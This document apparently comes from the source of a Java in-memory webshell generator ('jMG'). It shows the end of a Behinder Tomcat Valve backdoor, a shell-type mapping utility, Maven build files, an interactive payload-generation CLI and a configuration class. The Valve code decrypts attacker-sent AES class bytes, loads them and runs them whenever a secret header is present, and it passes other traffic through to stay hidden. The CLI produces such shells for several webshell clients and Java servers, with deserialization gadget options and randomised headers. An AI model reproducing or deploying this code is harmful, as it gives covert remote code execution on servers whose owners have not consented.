return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = (request.getSession());
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
session.putValue("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
(new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||
} else {
|
||||
// 重要: 没有这一步会将目标服务器打挂
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package jmg.behinder.util;
|
||||
|
||||
import jmg.behinder.memshell.*;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class ShellUtil {
|
||||
|
||||
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||
|
||||
public ShellUtil() {
|
||||
}
|
||||
|
||||
public static String getShellName(String toolType, String shellType) {
|
||||
Map<String, String> shellMap = toolMap.get(toolType);
|
||||
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||
}
|
||||
|
||||
public static String getShellClassName(String shellName) throws Exception {
|
||||
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||
} else {
|
||||
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||
}
|
||||
}
|
||||
|
||||
static {
|
||||
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
|
||||
|
||||
Map<String, String> behinderMap = new HashMap();
|
||||
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
|
||||
behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
|
||||
|
||||
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
|
||||
<artifactId>jmg-cli</artifactId>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>8</maven.compiler.source>
|
||||
<maven.compiler.target>8</maven.compiler.target>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
</properties>
|
||||
|
||||
<dependencies>
|
||||
<!-- https://mvnrepository.com/artifact/org.jline/jline -->
|
||||
<dependency>
|
||||
<groupId>org.jline</groupId>
|
||||
<artifactId>jline</artifactId>
|
||||
<version>3.21.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-sdk</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<version>3.6.0</version>
|
||||
<configuration>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>jmg.cli.CLIApp</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
<appendAssemblyId>false</appendAssemblyId>
|
||||
<outputDirectory>../releases</outputDirectory>
|
||||
</configuration>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>make-assembly</id>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>single</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
||||
@@ -0,0 +1,9 @@
|
||||
package jmg.cli;
|
||||
|
||||
public class CLIApp {
|
||||
public static void main(String[] args) throws Throwable {
|
||||
Console console = new Console();
|
||||
console.init();
|
||||
console.run();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
package jmg.cli;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.sdk.jMGenerator;
|
||||
import jmg.sdk.util.SDKResultUtil;
|
||||
import org.jline.reader.LineReader;
|
||||
import org.jline.reader.LineReaderBuilder;
|
||||
import org.jline.reader.impl.completer.StringsCompleter;
|
||||
import org.jline.terminal.Terminal;
|
||||
import org.jline.terminal.TerminalBuilder;
|
||||
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
public class Console {
|
||||
|
||||
private static AbstractConfig config = new AbstractConfig();
|
||||
private static final List<String> SERVER_TYPES = Arrays.asList(
|
||||
Constants.SERVER_TOMCAT,
|
||||
Constants.SERVER_SPRING_MVC,
|
||||
Constants.SERVER_JETTY,
|
||||
Constants.SERVER_RESIN,
|
||||
Constants.SERVER_WEBLOGIC,
|
||||
Constants.SERVER_WEBSPHERE,
|
||||
Constants.SERVER_UNDERTOW,
|
||||
Constants.SERVER_GLASSFISH,
|
||||
Constants.SERVER_JBOSS);
|
||||
private static final List<String> TOOL_TYPES = Arrays.asList(
|
||||
Constants.TOOL_GODZILLA,
|
||||
Constants.TOOL_BEHINDER,
|
||||
Constants.TOOL_ANTSWORD,
|
||||
Constants.TOOL_SUO5,
|
||||
Constants.TOOL_NEOREGEORG);
|
||||
|
||||
private static final List<String> SHELL_TYPES = Arrays.asList(
|
||||
Constants.SHELL_LISTENER,
|
||||
Constants.SHELL_FILTER,
|
||||
Constants.SHELL_INTERCEPTOR);
|
||||
|
||||
private static final List<String> FORMAT_TYPES = Arrays.asList(
|
||||
Constants.FORMAT_BASE64,
|
||||
Constants.FORMAT_BCEL,
|
||||
Constants.FORMAT_BIGINTEGER,
|
||||
Constants.FORMAT_CLASS,
|
||||
Constants.FORMAT_JAR,
|
||||
Constants.FORMAT_JAR_AGENT,
|
||||
Constants.FORMAT_JSP);
|
||||
|
||||
private static final List<String> GADGET_TYPES = Arrays.asList(
|
||||
Constants.GADGET_NONE,
|
||||
Constants.GADGET_JDK_TRANSLET,
|
||||
Constants.GADGET_XALAN_TRANSLET,
|
||||
Constants.GADGET_FJ_GROOVY,
|
||||
Constants.GADGET_SNAKEYAML);
|
||||
|
||||
|
||||
public void init() {
|
||||
System.out.println(String.format("Welcome to jMG %s !", Constants.JMG_VERSION));
|
||||
config = new AbstractConfig() {{
|
||||
// 设置工具类型
|
||||
setToolType(Constants.TOOL_GODZILLA);
|
||||
// 设置中间件 or 框架
|
||||
setServerType(Constants.SERVER_TOMCAT);
|
||||
// 设置内存马类型
|
||||
setShellType(Constants.SHELL_LISTENER);
|
||||
// 设置输出格式为 BASE64
|
||||
setOutputFormat(Constants.FORMAT_BASE64);
|
||||
// 设置漏洞利用封装,默认不启用
|
||||
setGadgetType(Constants.GADGET_NONE);
|
||||
// 初始化基础配置
|
||||
build();
|
||||
}};
|
||||
|
||||
}
|
||||
|
||||
public void run() throws Throwable {
|
||||
List<String> commands = Arrays.asList("help", "list", "use", "set", "show", "generate", "info", "exit");
|
||||
Terminal terminal = TerminalBuilder.builder().build();
|
||||
LineReader lineReader = LineReaderBuilder.builder()
|
||||
.terminal(terminal)
|
||||
.completer(new StringsCompleter(commands))
|
||||
.build();
|
||||
|
||||
String prompt = "jmg > ";
|
||||
String line;
|
||||
while (true) {
|
||||
line = lineReader.readLine(prompt);
|
||||
String[] parts = line.trim().split("\\s+");
|
||||
String command = parts[0];
|
||||
String argument1 = parts.length > 1 ? parts[1] : null;
|
||||
String argument2 = parts.length > 2 ? parts[2] : null;
|
||||
switch (command) {
|
||||
case "help":
|
||||
help();
|
||||
break;
|
||||
case "list":
|
||||
list(argument1);
|
||||
break;
|
||||
case "use":
|
||||
use(argument1, argument2);
|
||||
break;
|
||||
case "set":
|
||||
set(argument1, argument2);
|
||||
break;
|
||||
case "get":
|
||||
get(argument1);
|
||||
break;
|
||||
case "generate":
|
||||
generate();
|
||||
break;
|
||||
case "info":
|
||||
info();
|
||||
break;
|
||||
case "exit":
|
||||
System.out.println("Bye!");
|
||||
return;
|
||||
default:
|
||||
System.out.println("Unknown command: " + line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void help() {
|
||||
String[][] helpMessages = {
|
||||
{"help", "help message", "帮助信息"},
|
||||
{"list [type]", "list toolTypes/serverTypes/formatTypes/shellTypes", "支持的工具类型/中间件|框架/组件类型/输出格式"},
|
||||
{"use <type> <name>", "choose toolType/serverType/formatType/shellType", "选择工具类型/中间件|框架/组件类型/输出格式"},
|
||||
{"set <key> <value>", "set pass/key/headerName/headerValue/urlPattern/...", "设置密码/密钥/请求头名称/请求头值/请求路径[/*]/..."},
|
||||
{"get <type>", "get <type> or <key>", "查看配置"},
|
||||
{"generate", "generate payload", "生成载荷"},
|
||||
{"info", "connect info", "连接信息"},
|
||||
{"exit", "exit jmg", "退出"}
|
||||
};
|
||||
|
||||
for (String[] message : helpMessages) {
|
||||
System.out.println(String.format("%-20s %-50s %-40s", message[0], message[1], message[2]));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void list(String argument1) {
|
||||
if ("serverTypes".equalsIgnoreCase(argument1)) {
|
||||
System.out.println("Servers: " + SERVER_TYPES);
|
||||
} else if ("toolTypes".equalsIgnoreCase(argument1)) {
|
||||
System.out.println("Tools: " + TOOL_TYPES);
|
||||
} else if ("shellTypes".equalsIgnoreCase(argument1)) {
|
||||
System.out.println("Shells: " + SHELL_TYPES);
|
||||
} else if ("formatTypes".equalsIgnoreCase(argument1)) {
|
||||
System.out.println("Formats: " + FORMAT_TYPES);
|
||||
} else if ("gadgetTypes".equalsIgnoreCase(argument1)) {
|
||||
System.out.println("Gadgets: " + GADGET_TYPES);
|
||||
} else {
|
||||
System.out.println("Unknown type: " + argument1);
|
||||
}
|
||||
}
|
||||
|
||||
public static void get(String argument1) {
|
||||
try {
|
||||
String methodName = "get" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
|
||||
Method method = config.getClass().getMethod(methodName);
|
||||
System.out.println(argument1 + " : " + method.invoke(config));
|
||||
} catch (NoSuchMethodException e) {
|
||||
System.out.println("Unknown type: " + argument1);
|
||||
} catch (IllegalAccessException | InvocationTargetException e) {
|
||||
System.out.println("Error getting value for type: " + argument1);
|
||||
}
|
||||
}
|
||||
|
||||
public static void use(String argument1, String argument2) {
|
||||
if ("serverType".equalsIgnoreCase(argument1)) {
|
||||
if (!SERVER_TYPES.contains(argument2)) {
|
||||
System.out.println("Unsupported server type: " + argument2);
|
||||
return;
|
||||
}
|
||||
set("serverType", argument2);
|
||||
} else if ("toolType".equalsIgnoreCase(argument1)) {
|
||||
if (!TOOL_TYPES.contains(argument2)) {
|
||||
System.out.println("Unsupported tool type: " + argument2);
|
||||
return;
|
||||
}
|
||||
set("toolType", argument2);
|
||||
} else if ("shellType".equalsIgnoreCase(argument1)) {
|
||||
if (!SHELL_TYPES.contains(argument2)) {
|
||||
System.out.println("Unsupported shell type: " + argument2);
|
||||
return;
|
||||
}
|
||||
set("shellType", argument2);
|
||||
} else if ("formatType".equalsIgnoreCase(argument1)) {
|
||||
if (!FORMAT_TYPES.contains(argument2)) {
|
||||
System.out.println("Unsupported format type: " + argument2);
|
||||
return;
|
||||
}
|
||||
set("outputFormat", argument2);
|
||||
} else if ("gadgetType".equalsIgnoreCase(argument1)) {
|
||||
if (!GADGET_TYPES.contains(argument2)) {
|
||||
System.out.println("Unsupported gadget type: " + argument2);
|
||||
return;
|
||||
}
|
||||
set("gadgetType", argument2);
|
||||
} else {
|
||||
System.out.println("Unknown type: " + argument1);
|
||||
}
|
||||
}
|
||||
|
||||
public static void set(String argument1, String argument2) {
|
||||
try {
|
||||
String methodName = "set" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
|
||||
Method method = config.getClass().getMethod(methodName, String.class);
|
||||
method.invoke(config, argument2);
|
||||
System.out.println(argument1 + " : " + argument2);
|
||||
} catch (NoSuchMethodException e) {
|
||||
System.out.println("Unknown key: " + argument1);
|
||||
} catch (IllegalAccessException | InvocationTargetException e) {
|
||||
System.out.println("Error setting value for key: " + argument1);
|
||||
}
|
||||
}
|
||||
|
||||
public static void generate() throws Throwable {
|
||||
// 更新配置
|
||||
config.build();
|
||||
jMGenerator generator = new jMGenerator(config);
|
||||
generator.genPayload();
|
||||
generator.printPayload();
|
||||
}
|
||||
|
||||
public static void info() throws Throwable {
|
||||
// 连接信息
|
||||
SDKResultUtil.printBasicInfo(config);
|
||||
SDKResultUtil.printDebugInfo(config);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<parent>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<groupId>jmg</groupId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
|
||||
<dependencies>
|
||||
<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-web</artifactId>
|
||||
<version>5.3.29</version>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-webflux</artifactId>
|
||||
<version>5.3.29</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>jakarta.servlet</groupId>
|
||||
<artifactId>jakarta.servlet-api</artifactId>
|
||||
<version>5.0.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-catalina</artifactId>
|
||||
<version>8.5.58</version>
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-api</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-juli</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-jni</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-coyote</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-util</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-util-scan</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-annotations-api</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-el-api</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-jsp-api</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-servlet-api</artifactId>
|
||||
</exclusion>
|
||||
<exclusion>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-jaspic-api</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</project>
|
||||
@@ -0,0 +1,436 @@
|
||||
package jmg.core.config;
|
||||
|
||||
import jmg.core.util.ClassNameUtil;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.RandomHttpHeaderUtil;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class AbstractConfig {
|
||||
|
||||
|
||||
private String injectorClassName;
|
||||
|
||||
public String getInjectorClassName() {
|
||||
return injectorClassName;
|
||||
}
|
||||
|
||||
public void setInjectorClassName(String injectorClassName) {
|
||||
this.injectorClassName = injectorClassName;
|
||||
}
|
||||
|
||||
|
||||
private boolean implementsASTTransformationType = false;
|
||||
|
||||
private boolean implementsScriptEngineFactory = false;
|
||||
|
||||
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
|
||||
this.implementsASTTransformationType = implementsASTTransformationType;
|
||||
}
|
||||
|
||||
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
|
||||
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
|
||||
}
|
||||
|
||||
public boolean isImplementsASTTransformationType() {
|
||||
return implementsASTTransformationType;
|
||||
}
|
||||
|
||||
public boolean isImplementsScriptEngineFactory() {
|
||||
return implementsScriptEngineFactory;
|
||||
}
|
||||
|
||||
|
||||
private String injectorSimpleClassName;
|
||||
|
||||
public String getInjectorSimpleClassName() {
|
||||
return injectorSimpleClassName;
|
||||
}
|
||||
|
||||
public void setInjectorSimpleClassName(String injectorSimpleClassName) {
|
||||
this.injectorSimpleClassName = injectorSimpleClassName;
|
||||
}
|
||||
|
||||
|
||||
private byte[] injectorBytes;
|
||||
|
||||
public byte[] getInjectorBytes() {
|
||||
return injectorBytes;
|
||||
}
|
||||
|
||||
public void setInjectorBytes(byte[] injectorBytes) {
|
||||
this.injectorBytes = injectorBytes;
|
||||
}
|
||||
|
||||
|
||||
private int injectorBytesLength;
|
||||
|
||||
public int getInjectorBytesLength() {
|
||||
return injectorBytesLength;
|
||||
}
|
||||
|
||||
public void setInjectorBytesLength(int injectorBytesLength) {
|
||||
this.injectorBytesLength = injectorBytesLength;
|
||||
}
|
||||
|
||||
|
||||
private String shellClassName;
|
||||
|
||||
public String getShellClassName() {
|
||||
return shellClassName;
|
||||
}
|
||||
|
||||
public void setShellClassName(String className) {
|
||||
this.shellClassName = className;
|
||||
}
|
||||
|
||||
|
||||
private String shellSimpleClassName;
|
||||
|
||||
public String getShellSimpleClassName() {
|
||||
return shellSimpleClassName;
|
||||
}
|
||||
|
||||
public void setShellSimpleClassName(String shellSimpleClassName) {
|
||||
this.shellSimpleClassName = shellSimpleClassName;
|
||||
}
|
||||
|
||||
private byte[] shellBytes;
|
||||
|
||||
public byte[] getShellBytes() {
|
||||
return shellBytes;
|
||||
}
|
||||
|
||||
public void setShellBytes(byte[] shellBytes) {
|
||||
this.shellBytes = shellBytes;
|
||||
}
|
||||
|
||||
|
||||
private int shellBytesLength;
|
||||
|
||||
|
||||
public int getShellBytesLength() {
|
||||
return shellBytesLength;
|
||||
}
|
||||
|
||||
public void setShellBytesLength(int shellBytesLength) {
|
||||
this.shellBytesLength = shellBytesLength;
|
||||
}
|
||||
|
||||
|
||||
public String getShellGzipBase64String() {
|
||||
return shellGzipBase64String;
|
||||
}
|
||||
|
||||
public void setShellGzipBase64String(String shellGzipBase64String) {
|
||||
this.shellGzipBase64String = shellGzipBase64String;
|
||||
}
|
||||
|
||||
public String shellGzipBase64String;
|
||||
|
||||
public boolean isEnableBypassJDKModule() {
|
||||
return enableBypassJDKModule;
|
||||
}
|
||||
|
||||
public void setEnableBypassJDKModule(boolean enableBypassJDKModule) {
|
||||
this.enableBypassJDKModule = enableBypassJDKModule;
|
||||
}
|
||||
|
||||
private boolean enableBypassJDKModule;
|
||||
public boolean isEnableDebug() {
|
||||
return enableDebug;
|
||||
}
|
||||
|
||||
public void setEnableDebug(boolean enableDebug) {
|
||||
this.enableDebug = enableDebug;
|
||||
}
|
||||
|
||||
private boolean enableDebug = false;
|
||||
|
||||
|
||||
private String urlPattern;
|
||||
|
||||
private String outputFormat;
|
||||
private String savePath;
|
||||
private String pass;
|
||||
private String key;
|
||||
private String serverType;
|
||||
private String shellType;
|
||||
|
||||
private String headerName;
|
||||
private String headerValue;
|
||||
|
||||
|
||||
private String methodBody;
|
||||
|
||||
|
||||
private String gadgetType;
|
||||
|
||||
|
||||
public String getUrlPattern() {
|
||||
return urlPattern;
|
||||
}
|
||||
|
||||
public void setUrlPattern(String urlPattern) {
|
||||
this.urlPattern = urlPattern;
|
||||
}
|
||||
|
||||
public String getOutputFormat() {
|
||||
return outputFormat;
|
||||
}
|
||||
|
||||
public void setOutputFormat(String outputFormat) {
|
||||
this.outputFormat = outputFormat;
|
||||
}
|
||||
|
||||
public String getSavePath() {
|
||||
return savePath;
|
||||
}
|
||||
|
||||
public void setSavePath(String savePath) {
|
||||
this.savePath = savePath;
|
||||
}
|
||||
|
||||
public String getPass() {
|
||||
return pass;
|
||||
}
|
||||
|
||||
public void setPass(String pass) {
|
||||
this.pass = pass;
|
||||
}
|
||||
|
||||
public String getKey() {
|
||||
return key;
|
||||
}
|
||||
|
||||
public void setKey(String key) {
|
||||
this.key = key;
|
||||
}
|
||||
|
||||
public String getServerType() {
|
||||
return serverType;
|
||||
}
|
||||
|
||||
public void setServerType(String serverType) {
|
||||
this.serverType = serverType;
|
||||
}
|
||||
|
||||
public String getShellType() {
|
||||
return shellType;
|
||||
}
|
||||
|
||||
public void setShellType(String shellType) {
|
||||
this.shellType = shellType;
|
||||
}
|
||||
|
||||
public String getToolType() {
|
||||
return toolType;
|
||||
}
|
||||
|
||||
public void setToolType(String toolType) {
|
||||
this.toolType = toolType;
|
||||
}
|
||||
|
||||
public String toolType;
|
||||
|
||||
|
||||
public String getHeaderName() {
|
||||
return headerName;
|
||||
}
|
||||
|
||||
public void setHeaderName(String headerName) {
|
||||
this.headerName = headerName;
|
||||
}
|
||||
|
||||
public String getHeaderValue() {
|
||||
return headerValue;
|
||||
}
|
||||
|
||||
public void setHeaderValue(String headerValue) {
|
||||
this.headerValue = headerValue;
|
||||
}
|
||||
|
||||
|
||||
public String getGadgetType() {
|
||||
return gadgetType;
|
||||
}
|
||||
|
||||
public void setGadgetType(String gadgetType) {
|
||||
this.gadgetType = gadgetType;
|
||||
}
|
||||
|
||||
|
||||
public Map getMessage() {
|
||||
return result;
|
||||
}
|
||||
|
||||
public void setMessage(Map message) {
|
||||
this.result = message;
|
||||
}
|
||||
|
||||
private Map result = new HashMap();
|
||||
|
||||
|
||||
public String getExprEncoder() {
|
||||
return exprEncoder;
|
||||
}
|
||||
|
||||
public void setExprEncoder(String exprEncoder) {
|
||||
this.exprEncoder = exprEncoder;
|
||||
}
|
||||
|
||||
private String exprEncoder;
|
||||
|
||||
public String getExtenderSimpleClassName() {
|
||||
return extenderSimpleClassName;
|
||||
}
|
||||
|
||||
|
||||
private String extenderSimpleClassName;
|
||||
|
||||
public String getLoaderClassName() {
|
||||
return loaderClassName;
|
||||
}
|
||||
|
||||
public void setLoaderClassName(String loaderClassName) {
|
||||
this.loaderClassName = loaderClassName;
|
||||
}
|
||||
|
||||
public String loaderClassName;
|
||||
|
||||
private String classFilePath;
|
||||
|
||||
public String getClassFilePath() {
|
||||
return classFilePath;
|
||||
}
|
||||
|
||||
public void setClassFilePath(String classFilePath) {
|
||||
this.classFilePath = classFilePath;
|
||||
}
|
||||
|
||||
|
||||
public byte[] getExtenderBytes() {
|
||||
return extenderBytes;
|
||||
}
|
||||
|
||||
public void setExtenderBytes(byte[] extenderBytes) {
|
||||
this.extenderBytes = extenderBytes;
|
||||
}
|
||||
|
||||
private int extenderBytesLength;
|
||||
private String extenderClassName;
|
||||
private byte[] extenderBytes;
|
||||
|
||||
private String detectWay;
|
||||
|
||||
|
||||
public String getDetectWay() {
|
||||
return detectWay;
|
||||
}
|
||||
|
||||
public void setDetectWay(String detectWay) {
|
||||
this.detectWay = detectWay;
|
||||
}
|
||||
|
||||
|
||||
private boolean enabledExtender = false;
|
||||
|
||||
|
||||
public boolean isEnabledExtender() {
|
||||
return enabledExtender;
|
||||
}
|
||||
|
||||
public void setEnabledExtender(boolean enabledExtender) {
|
||||
this.enabledExtender = enabledExtender;
|
||||
}
|
||||
|
||||
public int getExtenderBytesLength() {
|
||||
return extenderBytesLength;
|
||||
}
|
||||
|
||||
public void setExtenderBytesLength(int extenderBytesLength) {
|
||||
this.extenderBytesLength = extenderBytesLength;
|
||||
}
|
||||
|
||||
public String getExtenderClassName() {
|
||||
return extenderClassName;
|
||||
}
|
||||
|
||||
public void setExtenderClassName(String extenderClassName) {
|
||||
this.extenderClassName = extenderClassName;
|
||||
}
|
||||
|
||||
|
||||
private String dnsDomain;
|
||||
|
||||
|
||||
public String getDnsDomain() {
|
||||
return dnsDomain;
|
||||
}
|
||||
|
||||
|
||||
public void setDnsDomain(String dnsDomain) {
|
||||
this.dnsDomain = dnsDomain;
|
||||
}
|
||||
|
||||
public String getBaseUrl() {
|
||||
return baseUrl;
|
||||
}
|
||||
|
||||
public void setBaseUrl(String baseUrl) {
|
||||
this.baseUrl = baseUrl;
|
||||
}
|
||||
|
||||
public String baseUrl;
|
||||
|
||||
|
||||
public String getSleepTime() {
|
||||
return sleepTime;
|
||||
}
|
||||
|
||||
public void setSleepTime(String sleepTime) {
|
||||
this.sleepTime = sleepTime;
|
||||
}
|
||||
|
||||
public String sleepTime;
|
||||
|
||||
public void setExtenderSimpleClassName(String extenderSimpleClassName) {
|
||||
this.extenderSimpleClassName = extenderSimpleClassName;
|
||||
}
|
||||
|
||||
|
||||
public String getJarClassName() {
|
||||
return this.jarClassName;
|
||||
}
|
||||
|
||||
public void setJarClassName(String jarClassName) {
|
||||
this.jarClassName = jarClassName;
|
||||
}
|
||||
|
||||
private String jarClassName;
|
||||
|
||||
public void build() {
|
||||
// 检查 serverType、modelType、formatType 是否已设置
|
||||
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
|
||||
throw new IllegalStateException("toolType、serverType、shellType 、formatType and gadgetType must be set.");
|
||||
}
|
||||
// 无自定义则随机生成
|
||||
Map.Entry<String, String> header = RandomHttpHeaderUtil.generateHeader();
|
||||
if (this.getHeaderName() == null) this.setHeaderName(header.getKey());
|
||||
if (this.getHeaderValue() == null) this.setHeaderValue(header.getValue());
|
||||
if (this.getUrlPattern() == null) this.setUrlPattern("/*");
|
||||
if (this.getSavePath() == null) this.setSavePath(System.getProperty("user.dir"));
|
||||
if (this.getInjectorClassName() == null)
|
||||
this.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
|
||||
if (this.getInjectorSimpleClassName() == null)
|
||||
this.setInjectorSimpleClassName(CommonUtil.getSimpleName(this.getInjectorClassName()));
|
||||
if (this.getShellClassName() == null)
|
||||
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
|
||||
if (this.getShellSimpleClassName() == null)
|
||||
